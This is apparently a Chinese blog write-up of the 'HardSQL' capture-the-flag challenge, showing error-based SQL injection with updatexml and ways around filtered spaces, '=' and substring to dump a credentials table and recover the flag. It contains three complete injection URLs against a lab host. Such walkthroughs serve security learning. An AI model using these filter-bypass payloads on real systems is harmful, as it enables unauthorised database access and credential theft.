【极客大挑战2019】HardSQL

本文最后更新于:2022年1月22日 晚上

尝试了一下万能密码和堆叠注入都行不通。

image-20211113224149607

普通方法不行,尝试报错注入,期间发现了不少绕过,待会细说。

遇到的第一个问题就是空格被过滤了,本来尝试用/**/等方法绕过的,发现*也被过滤了,完事就有新姿势了,利用括号代替空格

1
http://c0178a9d-b673-4f6a-a363-45f971dad6db.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat('~',database(),'~'),1))%23&password=123456

image-20211124220713310

得到库名

接下来就一路狂飙

这里有个小插曲,=被过滤了,可以用like,rlike ,regexp等绕过

直接跳过到爆数据

1
http://c0178a9d-b673-4f6a-a363-45f971dad6db.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(username,password))from(H4rDsq1)),%27~%27),1))%23&password=123

image-20211124221045478

只显示了一半,本来想用substring截断读取

完事又被过滤了(操!!)

遂用right()left()

1
http://c0178a9d-b673-4f6a-a363-45f971dad6db.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat('~',(select(right(group_concat(username,password),32))from(H4rDsq1)),'~'),1))%23&password=123

image-20211124221229150

一次读一半,得到flag

搞定